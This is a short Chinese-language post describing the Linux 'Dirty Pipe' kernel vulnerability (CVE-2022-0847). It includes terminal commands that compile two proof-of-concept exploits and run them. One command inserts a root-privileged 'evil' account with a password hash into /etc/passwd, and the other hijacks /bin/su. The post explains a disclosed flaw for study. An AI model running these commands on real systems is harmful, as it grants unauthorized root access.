今天,安全研究员 Max Kellermann 负责任地披露了"Dirty Pipe"漏洞,并声称它影响了 Linux Kernel 5.8 及更高版本,甚至包括 Android 设备。
该漏洞被追踪为 CVE-2022-0847,允许非特权用户在只读文件中注入和覆盖数据,包括以 root 身份运行的 SUID 进程。
Kellerman 在追踪导致他一位客户的 Web 服务器访问日志损坏的 bug 时发现了此缺陷。
随后 Bl4sty 编写了另一个版本。它不是覆盖诸如 /etc/passwd 之类的文件,而是覆盖用户指定的 SUID 二进制文件(如 /bin/su),注入 shellcode,然后以特权用户(即 root)权限执行。
┌──(ghost㉿uchiha)-[~]
└─$gcc PoC1.c -o exploit1
┌──(ghost㉿uchiha)-[~]
└─$./exploit1 /etc/passwd 189 'evil:$6$USR$aNQSBWd3Bdn4Eo8ZaAjBBXW7M3CM7NnW3vX0Ulrei18dDifAiS0pB2iqCxVCK0nCKfRjdCSqgKHagkul6JEHT/:0:0::/root:/bin/bash
'
┌──(ghost㉿uchiha)-[~]
└─$gcc PoC2.c -o exploit2
┌──(ghost㉿uchiha)-[~]
└─$./exploit2 /bin/su
详细使用请参考:https://medium.com/@ajithcrajendran/cve-2022-0847-dirty-pipe-a5d68f422dcf